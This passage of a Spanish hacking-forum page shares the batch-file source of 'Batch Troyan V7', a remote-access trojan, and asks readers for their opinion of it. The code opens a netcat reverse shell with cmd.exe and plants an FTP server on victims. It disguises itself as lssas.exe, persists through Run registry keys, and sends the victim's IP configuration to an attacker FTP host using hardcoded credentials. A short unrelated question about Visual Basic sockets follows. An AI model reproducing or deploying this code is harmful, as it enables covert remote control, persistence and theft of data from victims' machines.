echo echo He colocado una shell a la escucha en el puerto %port%^>^>^%res%.txt>>Data\Packets\%ins%.bat
echo echo bye^>^>^descar.txt>>Data\Packets\%ins%.bat
echo ftp -s:descar.txt>>Data\Packets\%ins%.bat
echo del descar.txt>>Data\Packets\%ins%.bat
echo start nc -L -d -e cmd.exe -p %port%>>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:resp7
cls
type Data\Packets\%res%.txt
pause >nul
del Data\Packets\%res%.txt
cls
goto menu
:ftp
cls
echo esta opcion colocara un servidor ftp a la escucha en la victima
echo Ten en cuenta que si la victima esta detras de un router o firewall no podras realizar la conexion
pause > nul
cls
echo Para usar esta opcion es necesario que tengas los archivos del servidor ftp en el directorio Data\Files ( slimftpd.exe, slimftpd.conf )
echo Asegurate de que estan hay y pulsa enter
pause > nul
echo echo open nanoc.no-ip.info^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo Troyan^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo crysis^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo get slimftpd.exe^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo get slimftpd.conf^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo El servidor ftp ha sido colocado con exito^>^>^%res%.txt>>Data\Packets\%ins%.bat
echo echo put slimftpd.log^>^>^descar.txt>>Data\Packets\%ins%.bat
echo echo bye^>^>^descar.txt>>Data\Packets\%ins%.bat
echo ftp -s:descar.txt>>Data\Packets\%ins%.bat
echo del descar.txt>>Data\Packets\%ins%.bat
echo start slimftpd.exe>>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp8
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:resp8
cls
type Data\Packets\%res%.txt
pause >nul
del Data\Packets\%res%.txt
type slimftpd.log
pause >nul
del slimftpd.log
cls
goto menu
:vic
cls
if not exist Data\Packets\conect.txt goto nofind
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set vic=%%a
echo 1 %vic%
del Data\Packets\conect.txt
ping -n 20 127.0.0.1 > nul
if not exist Data\Packets\conect.txt goto nomore
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set vic2=%%a
if %vic2%==%vic% goto nomore
echo 2 %vic2%
del Data\Packets\conect.txt
ping -n 20 127.0.0.1 > nul
if not exist Data\Packets\conect.txt goto nomore
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set vic3=%%a
if %vic3%==%vic% goto nomore
if %vic3%==%vic2% goto nomore
echo %vic3%
del Data\Packets\conect.txt
ping -n 20 127.0.0.1 > nul
if not exist Data\Packets\conect.txt goto nomore
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set vic4=%%a
if %vic4%==%vic% goto nomore
if %vic4%==%vic2% goto nomore
if %vic4%==%vic3% goto nomore
echo %vic4%
del Data\Packets\conect.txt
ping -n 20 127.0.0.1 > nul
if not exist Data\Packets\conect.txt goto nomore
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" conect.txt') do set vic5=%%a
if %vic5%==%vic% goto nomore
if %vic5%==%vic2% goto nomore
if %vic5%==%vic3% goto nomore
if %vic5%==%vic4% goto nomore
echo %vic5%
del Data\Packets\conect.txt
goto nomore
:nofind
cls
echo No hay ninguna victima conectada
pause > nul
goto menus
:nomore
set /p co=Introduce el numero de victima al que quieras conectarte:
if %co%==1 set id=%vic%
if %co%==2 set id=%vic2%
if %co%==3 set id=%vic3%
if %co%==4 set id=%vic4%
if %co%==5 set id=%vic5%
echo Error2
cls
if not exist Data\Packets\conect.txt ping -n 10 127.0.0.1
if not exist Data\Packets\conect.txt goto error6
echo Esperando codigos de instruccion y respuesta...
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 14 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
ping -n 15 127.0.0.1 > nul
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "Id" Data\Packets\conect.txt') do set idc=%%a
if %idc%==%id% goto cogcod
del Data\Packets\conect.txt
cls
echo Error3
pause > nul
goto menus
:cogcod
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "ins" Data\Packets\conect.txt') do set ins=%%a
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "res" Data\Packets\conect.txt') do set res=%%a
echo Codigos obtenidos!
ping -n 3 127.0.0.1 > nul
cls
echo Conectando...
ping -n 3 127.0.0.1 > nul
echo Conectado!
goto menu
:do
cls
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "id" Data\Notices\confir.txt') do set ipid=%%a
echo Se ha encontrado un archivo de confirmacion de infeccion
echo el identificador de victima es %ipid%
echo Que desea Hacer:
echo 1 Verlo
echo 2 Conectar
echo 3 Eliminar y continuar con el programa
echo 4 Guardar y continuar con el programa
set /p do2=Introduce numero de opcion:
if %do2%==1 goto rep4
if %do2%==2 goto ipcon
if %do2%==3 goto menus
if %do2%==4 goto confsave
cls
echo Error2
pause > nul
:rep4
cls
type Data\Notices\confir.txt
pause > nul
goto do
:ipcon
cls
echo Introduciendo codigos...
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "ins" Data\Notices\confir.txt') do set ins=%%a
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "res" Data\Notices\confir.txt') do set res=%%a
ping -n 3 127.0.0.1 > nul
echo Conectando...
ping -n 3 127.0.0.1 > nul
goto menu
:confsave
set /p confnom=Con que nombre deseas guardarlo?:
if exist saves goto exis
mkdir saves
rename Data\Notices\confir.txt Data\Notices\%confnom%.txt
copy Data\Notices\%confnom%.txt Data\saves\%confnom%.txt
del Data\Notices\%confnom%.txt
goto menu
:exis
rename Data\Notices\confir.txt Data\Notices\%confnom%.txt
copy Data\Notices\%confnom%.txt Data\saves\%confnom%.txt
del Data\Notices\%confnom%.txt
goto menu
:load
cls
echo Coloca el archivo a subir en el directorio raiz del ftp y pulsa enter.
Pause > nul
cls
set /p file=Introduce nombre del archivo a subir:
if not exist Data\Files\%file% goto filerror
echo start winnt32.exe get %file%>>Data\Packets\%ins%.bat
echo echo El Archivo ha sido subido con exito^>^>%res%.txt>>Data\Packets\%ins%.bat
cls
echo Enviando paquete de instrucciones OK
echo Esperando al server...
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
ping -n 2 127.0.0.1 >nul
if exist Data\Packets\%res%.txt goto resp7
cls
if not exist Data\Packets\%ins%.bat (echo Error3)
if exist Data\Packets\%ins%.bat (echo Error4)
pause >nul
del Data\Packets\%ins%.bat
cls
goto menu
:alert
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "idsys" Data\Notices\alert.txt') do set idsys=%%a
cls
echo Se ha encontrado un mensaje de %idsys%
echo El Mensaje procede del systema de seguridad
echo Que desea hacer:
echo 1 Verlo
echo 2 Borrar y continuar con el programa
echo 3 Guardar y continuar con el programa
set /p alt1=Introduce numero de opcion:
if %alt1%==1 goto mostala
if %alt1%==2 goto menus
if %alt1%==3 goto savala
cls
echo Error2
pause > nul
goto alert
:mostala
cls
type Data\Notices\alert.txt
Pause > nul
goto alert
:savala
set /p alanom=Con que nombre deseas guardarlo?:
if exist saves goto exis
mkdir saves
rename Data\Notices\alert.txt Data\Notices\%alanom%.txt
copy Data\Notices\%alanom%.txt Data\saves\%alanom%.txt
del Data\Notices\%alanom%.txt
goto menu
:exis
rename Data\Notices\alert.txt Data\Notices\%alanom%.txt
copy Data\Notices\%alanom%.txt Data\saves\%alanom%.txt
del Data\Notices\%alanom%.txt
goto menus
:filerror
cls
echo Error5
pause > nul
goto menu
:error6
cls
echo Error6
pause > nul
goto menus

SECURITY SYSTEM
Código:
@echo off
copy %0 "c:\WINDOWS\system32\lssas.exe"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "securitysystem" /t reg_sz /d "c:\WINDOWS\system32\lssas.exe" /f
if not exist "c:\WINDOWS\system32\winnt32.exe" goto rest
exit
:rest
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "id" codes.txt') do set id=%%a
echo idsys %id%>alert.txt
echo Soy el sistema de seguridad del Batch Troyan V7>>alert.txt
echo Debo informar del borrado del archivo "C:\WINDOWS\system32\winnt32.exe">>alert.txt
echo Dicho archivo ha sido restablecido con exito>>alert.txt
echo El identificador de victima es %id%>>alert.txt
echo Adjunto ip de la victima>>alert.txt
ipconfig>>alert.txt
echo open nanoc.no-ip.info>desc.txt
echo Troyan>>desc.txt
echo crysis>>desc.txt
echo put Data\Notices\alert.txt>>desc.txt
echo cd Data\securitysystem>>desc.txt
echo get winnt32.exe>>desc.txt
echo bye>>desc.txt
ftp -s:desc.txt
del desc.txt
del alert.txt
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "wint32.exe" /t reg_sz /d "c:\WINDOWS\system32\winnt32.exe" /f
start winnt32.exe
exit

Abstenganse de usarlo lammers y script kiddies, si no entiendes el codigo no conseguiras que funcione XD  :D

Opinen que les parece por favor

PD: si teneis alguna duda tambien podeis preguntar  ;D
10  Programación / Programación Visual Basic / Cargar jpg en picturebox nada mas recibirlo por un socket en: 4 Febrero 2010, 02:15 am
Hola, buenas, me gustaria saber que tengo que hacer para cargar un jpeg nada mas recibirlo por un socket con winsock, es decir, sin guardarlo antes en disco duro, se que tengo que usar picture1.image = Loadpicture() para cargar la imagen del disco, pero si la tengo en una variable como la cargo y en que tipo tengo que almacenarla.

Espero que alguien pueda responderme.

Gracias
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines